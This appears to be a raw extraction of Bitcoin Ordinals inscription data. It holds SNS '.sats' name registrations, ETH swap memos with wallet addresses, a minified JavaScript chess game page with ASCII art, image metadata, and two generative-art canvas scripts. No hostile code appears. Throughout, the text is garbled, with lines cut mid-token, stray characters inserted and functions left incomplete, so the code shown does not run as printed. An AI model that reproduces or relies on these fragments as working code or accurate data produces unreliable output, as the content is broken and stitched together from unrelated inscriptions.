({"p":"sns","op":"reg","name":"ddl.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"sb8u.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ggw.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"jft.sats"}h! Aj?=:ETH.ETH:0x7f74afd1d4b4ab01D572454AeebB3eD5e48F39F2:8938622::0 Bj@=:ETH.ETH:0x8095834D32A693B9988305ABE81F9d065Cc7345e:34724085::0 text/plain;charset=utf-8 Aj?=:ETH.ETH:0xaC99F34646cE3424323A2c88eb2037DD9d46d6A7:7186090::0 DjB=:ETH.ETH:0xCB3B9b7aF0B74B40F28Ee840D387696E9D88DD33:1307781711::0 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 2023-03-02T13:32:02+00:00;_B 2023-03-02T13:32:02+00:00J 2023-03-02T13:32:03+00:00 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "masa.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"00777.sats"}h! text/plain;charset=utf-8 "name": "7117.sats" gUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUJO text/plain;charset=utf-8 M %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz 2023-03-02T05:48:50+00:00 2023-03-02T05:48:50+00:00 2023-03-02T05:48:50+00:00 text/plain;charset=utf-8 text/html;charset=utf-8 <!--- TEWZ1.ETH https://www.www.tewz1.com https://opensea.io/tewz DUST 1AHV2TSdVsydxx2eSMyxKg6HfAgXAKNafW https://www.twitter.com/tewz1 https://tewz.cent.co/ TEWZ1.ETH <pre> .%*& M #/**/&*/,( #*./* *##. ///& //**/% ### @@ #// &,,( #@(/,# .%(& /(/. /%&/ &%%(@%@ M /*,/( (,&/@( &(,%%((&*%& *,,@ (*%//%%((% @#@(#((((##% &***# %**% /.@/////(@(//*,&(((((((# ,&. ,@/(*,@* .@/@ &**@///////////((((((((((#@ #**#@ (,*,**/@,.***//(*,#%/////////////&@@%*,.,/((((( ,/#. /**% #.****,*******,.(&/*/////&&//////(%&%########@ (/(#. ,,@/&* (&//@# &*&.***************#&.*///(((((((/////(((((((((@ %/@ &%((&**/#@&%.%.#******,*,((,***/((((/**/**,,*//////(/(%@@@@&%&@@/ @(@((/////*,/@(******,**,/(%(//**,**,,,*////(@%*..*///(%@@@@%##%&&&&& &/(//////////#***/(@((*,. ....****&%.,**//(@@@&%#%&&&&#####%&&&&%##(%& *,%///M @(,/((@#(*......,,**#(*****#@&/ .%#. %&&&( .&&&& ,&&# @**(&@(/*.,/,***//*****(@&. &&PEPE&& &( &&CHESS& & &(@%(/*/////(*/**/#@&(####. &&&& && && &&&% && * &@(//(#,,/(%@%########@###& &&&&&& ,&&&, ,&&&@. & @/*/(@@################&%###@* &&&%&&####%&&%*../&&##% #(%@############M ####&######(&&&%((######(&&#####&&%#####&&&&&&, @(######################%&&&&&&&&&&&&&&###########&&&&#####(&& ###########&###%%###################################%&#########&, ############(########(%&######################################&##( ############%#####&#############&&&#####################%&######& &#############&#####((((%&#####M ############################&/ *(###############%####&((((((((((((((((((((((((&,,,,,,,,&####& &#################%#####&*,,,,,,/&(((((((((((((#,,,,,,,,,####* &#################&#######%#,,,,,,/&((((((#/,,,,,,,,%%####, @##################&################%%%%%#############. &###################&%###########@M %############(* /&######################################@ *&&#####################%&&/ The game of chess is like a sword fight M You must think first before you move /pre>---> <meta charset="UTF-8"> <title>PEPE CHESS</title> background: black; align-items: center; justify-content: center; <b><center><font color="green"> <font size="4">PEPE CHESS</font> piecesCosts = [0,99,0,306,297,495,846], rowsCosts = [-1,0,1,2,2,1,0,-1]; function movesForPiece(piece) { [9,11,10,20], [-1,1,-10,10,-11,-9,9,11], [-21,-19,-12,-8,8,12,19,21], [-11,-9,9,11], [-1,1,-10,10], [-1,1,-10,10,-11,-9,9,11] if ((piece & 15) == 9) return [-9,-11,-10, -20]; function executeMove(O, p, n, m, g) { board[g] = board[m]; board[m] = 0; board[g] = 0; function undoMove(O, p, o, r, m, g) { board[m] = board[g]; board[g] = 0; board[g] = 9 ^ y; function X(w,c,h,e,S,s) { K = (78 - h) << x, a = y ? -x : x, d = w || (s && s>=h && X(0,0,0,21,0,0) > M); o = board[p]; q = o & z ^ y; if (q < 7) { q--; moves = movesForPiece(o); C = 0; do { p += moves[C]; r = board[p]; if (!w | p == w) { g = (q == 0 && p + a == S) ? S : 0; if ((!r & (!!q | C>1 || !!g)) || ((r+1&z^y)>9 && (q | C<2))) { m = !(r - 2 & 7); if (m) { y ^= 8; I[G--] = O; return K; } J = n = o & z; E = board[p - a] & z; t = (q | E-7) ? n : (n+=2,6^y); while (n <= t) { L = r ? piecesCosts[r&7]-h-q : 0; // value of the attacked piece (0 for empty cell) if (s) { L+=((1-q) ? rowsCosts[(p-p%x)/x-2] - rowsCosts[(O-O%x)/x-2] + rowsCosts[p%x-1]*(q?1:2) - rowsCosts[O%x-1] + (o&16)/2 : !!m * 9) + (!q ? !(board[p-1]^n) + !(board[p+1]^n) + piecesCosts[n&7] - 99 + !!g * 99 + (C == 3) : 0) + !(E ^ y ^ 9); } if ((s > h) || ((1<s & s==h) && (L>z | d))) { executeMove(O, p, n, m, g); J = (q | C<3) ? 0 : p; L -= X((s > h | d) ? 0 : p, L - N, h + 1, I[G+1], J, s); if (!h && s == 1 && B == O && i == n && p == b && L >= -M) { DrawPieces(); G--; u = J; M } J = (q-1 | C>1) || m || (!s | d | r | o<z) || X(0,0,0,21,0,0) > M; undoMove(O, p, o, r, m, g); } if (L>N || (s>1 && L==N && !h && Math.random()<.5)) { I[G] = O; if (s > 1) { if (h && L > c) { M y ^= 8; G--; return L; } if (!h) { i = n; B = O; b = p; } } N = L; M n += J || (g = p, m = (p < O) ? g-3 : g+2,(board[m] != (21 ^ y) | board[m+O-p]) || board[p+=p-O]) ? 1 : 0; } } } } while ((!r & q>2) || (p=O, (q | C < 2 | o > z & !r) && (++C < moves.length))); } while ((++O > 98) ? O = 20 : e - O); return (N + M*M && (N > 1924-K | d)) ? N : 0; function SetupChessboard() { var initial = chess960(); for (y=0; y<12; y++) { for (x=0; x<10; x++) { if (x<1 || y<2 || x>8 || y>9) { board[y*10+x] = 7; } else if (y>=4 && y<=7) { board[y*10+x] = 0; } else { board[y*10+x] = initial[i++] | 16; function chess960() { var a=Math.floor(Math.random()*1); case 0 : sp = [5,3,4,6,2,4,3,5,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9M ,9,13,11,12,14,10,12,11,13]; break; function CreateChessboardView() { var a = "<table cellspacing=0 align=center>"; for (y=0; y<8; y++) { a += "<tr>"; for (x=0; x<8; x++) { i = y*10 + x + 21; a += "<th width=44 height=70 onclick=OnClick(" + i + ") id=o" + i + " style='line-height:44px;font-size:44px;border:2px solid #dde' bgcolor=#" + (((x+y) & 1) ? "red'>" : "green' style='backgrM ound-color: green'>"); a += "</tr>"; a += "<tr><th colspan=8><select id=t style='font-size:30px'>"; a += "<option>♛<option>♜<option>♝<option>♞"; a += "</select></tr></table>"; document.write(a); function DrawPieces() { var pieces = "\xa0\u265f\u265a\u265e\u265d\u265c\u265b \u2659\u2654\u2658\u2657\u2656\u2655"; for (p=21; p<99; ++p) { if (q = document.getElementById("o" + p)) { q.innerHTML = piecesM .charAt(board[p] & 15); q.style.borderColor = (p == B) ? "red" : "green"; var clickLock = false; function OnClick(s) { i = (board[s] ^ y) & z; DrawPieces(); } else if (B && i<9) { i = board[B] & z; if ((i & 7) == 1 & (b < 29 | b > 90)) i = 14 - document.getElementById("t").selectedIndex ^ y; X(0,0,0,21,u,1); clickLock = truL setTimeout("X(0,0,0,21,u,2/*ply*/);X(0,0,0,21,u,1);clickLock=false;",250); CreateChessboardView(); text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"646.sats"}h! !22222222222222222222222222222222222222222222222222 %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYM -http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BDEC5F35B23E11ED8AF4AE1F7FB15E7D" xmpMM:DocumentID="xmp.did:BDEC5F36B23E11ED8AF4AE1F7FB15E7D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BDEC5F33B23E11ED8AF4AE1F7FB15E7D" stRef:documentID="xmp.did:BDEC5F34B23E11ED8AF4AE1F7FB15E7D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> )A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG ))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG text/plain;charset=utf-8 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"chatgpt.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"metajam.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"chongqing.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"jojo.sats"}h! text/plain;charset=utf-8 "name": "stars.sats" text/plain;charset=utf-8 (((((((((((((((((((((((((((((((((((((((((((((((((( text/plain;charset=utf-8 "name": "stars.sats" text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"cryptojean.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"maxchen.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"jojoliang.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"gracechen.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"mirachen.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"m7e.sats"}h! text/plain;charset=utf-8 2{"p":"sns","op":"reg","name":"gabrielleydon.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9718.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"8818.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"8819.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"8820.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"1004.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"1006.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"1008.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"1011.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"1049.sats"}h! Aj?=:ETH.ETH:0x621c3cee22181124d47b34fc9085874af559ceb7:1348412566 "name": "villian.sats" text/plain;charset=utf-8 "name": "image.sats" 6j4ion:2.QmNUxDLutxwi8sUXctfkiBm7jcgtSQE9S4y7urL6TetGZv text/plain;charset=utf-8 text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"definemo.sats"}h! text/plain;charset=utf-8 FjDOUT:CF3FDB3435DE2EA6CD0DF3968ABD7C82B5C7CE7663BB208EFCAEB2FFB118D737 FjDOUT:7E4AD51A1C6F6AFC8D4352F47B45B9F6FB01602C3AA8CA9FE152128E22A9953C text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9532.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/html;charset=utf-8 <meta charset="UTF-8"> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 <script sandbox="allow-scripts" type="text/javascript" srM c="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <!-- threejs@r124 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/aM jax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aM frame/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.comM /ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here var colorPalettes = [ ['#fafa6e', '#2A4858'], ['#9C27B0', '#FFEB3B'], ['#00BCD4', '#FF5722'], ['#191970', '#FF69B4', '#228B22', '#FFFF00'], ['#8BC34A', '#3F51B5', '#F44336'], ['#009688', '#FFC107', '#795548'], ['#4CAF50', '#FFC107', '#9C27B0'], ['#00BCD4', '#FFC107', '#9C27B0'], 88', '#FFC107', '#E91E63'], ['#ff0000', '#0000ff', '#00ff00'], ['#ff0000', '#0000ff', '#00ff00'], ['green', 'blue', 'orange', 'green'] var point_count = 700; var pointSpace = 12; var spaceRatio = 0.5; var maxAttempts = 100; var densityRatio = 0.5; var length1 = 10000; var length2 = 10000; [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5], 700, 12, 0.95, 0.5, 0.5], [900, 8, 0.95, 0.5, 0.5], [700, 8, 0.78, 0.5, 0.5], [500, 5, 0.85, 0.5, 0.5], [800, 12, 0.9, 0.2, 0.5], [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5] function mathRandSelect(array) { return array[round(mathRand() * (array.length - 1))]; function mathRnd(min, max) { return map(mathRand(), 0, 1, min, max) function resizeCanvasStyle(){ canvas.style("position", "absolute"); the canvas element's width and height properties to scale it canvas.style("width", "100%"); canvas.style("height", "100%"); // Set the canvas element's top and left properties to center it horizontally and vertically canvas.style("top", "0"); canvas.style("left", "0"); canvas.style("bottom", "0"); canvas.style("right", "0"); canvas.style("margin", "auto"); // Set the transform property to move the canvas element to the center of the page canvas.style("transform", "translatM canvas.style("width", "100%"); canvas.style("height", "100%"); // Set the canvas element's top and left properties to center it horizontally and vertically canvas.style("top", "0"); canvas.style("left", "0"); canvas.style("bottom", "0"); canvas.style("right", "0"); canvas.style("margin", "auto"); // Calculate the scale factor based on the window size and the canvas size let scaleFactor = Math.min(window.innerWidth / 400, window.innerHeight / 600M // Set the transform property to scale the canvas element based on the scale factor canvas.style("transform", `scale(${scaleFactor})`); let urlParams = getURLParams(); if (urlParams.res) { density = round(int(urlParams.res)); noiseSeed(mathRand() * 99999); randomSeed(mathRand() * 99999); canvas = createCanvas(400, 600); canvas.addClass("canvasNewCSS"); resizeCanvasStyle(canvasW,canvasH); pixelDensity(density); angleMode(DEGREES); mathRandSelect(colorPalettes); noiseDetail(8, 0.5); print(colorPalette); colorPalette = chroma.scale(colorPalette).mode('lch').colors(12); field = mathRandSelect(fields); point_count = field[0]; pointSpace = field[1]; offset = field[2]; spaceRatio = field[3]; densityRatio = field[4]; variationMode = round(mathRandSelect([1, 2, 3, 4, 5, 6, 7, 8])); var maxAttempts = 1000; for (var i = 0; i < point_count; i++) { var attempts = 0; while (attempts < maxAttempts) { var point_x = mathRnd(width * (1 - offset), width * offset); var point_y = mathRnd(height * (1 - offset), height * offset); var point_r = mathRnd(pointSpace * spaceRatio, pointSpace); var point_l = mathRnd(length1, length2); var point_color = mathRandSelect(colorPalette); var overlapp = false; for (var j = 0; j < i; j++) { if (points[j]) { var x2 = points[j].x; var y2 = points[j].y; var r2 = points[j].r; if (dist(point_x, poM int_y, x2, y2) < (r2 + point_r) / 2 * 1.4) { overlapp = true; if (!overlapp) { append(points, { x: point_x, y: point_y, c: point_color, r: point_r, l: point_l if (attempts >= maxAttempts) { console.warn("Could not place point " + i + " after " + maxAttempts + " attempts."); for (var p = 0; p < points.length;M fill(points[p].c); rectMode(CENTER); translate(points[p].x, points[p].y); rotate(mathRnd(360)); translate(-points[p].x, -points[p].y); for (var i = 0; i < points.length; i++) { if (points[i].l > 0) { let x = points[i].x; let y = points[i].y; let pointColor = points[i].c; let newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); let newY = y + mM ap(noise(log(y), log(x)), 0, 1, -space, space / 2); switch (variationMode) { newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), sin(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(cos(x), log(y)), 0, 1, -spaM newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(sin(x), cos(y)), 0, 1, -space / 2, space); newY = y + map(noise(cos(y), sin(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(M x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); let maxR = pointSpace; if (newX > width * (1 - offset) &&M newX < width * offset) { if (newY > height * (1 - offset) && newY < height * offset) { let v1 = createVector(x, y); let v2 = createVector(newX, newY); let angleBetween = v1.angleBetween(v2); rotate(angleBetween / space); strokeWeight(0.7); stroke(pointColor) fill(pointColor); maxR = points[i].r; for (var p = 0; p < i; p++) { maxR = min(maxR, dist(x, y, points[p].x, poM noStroke(); circle(x, y, maxR); points[i].x = newX; points[i].y = newY; points[i].r = maxR; points[i].l--; if (millis()>25000) { Add your script here <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SM let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new 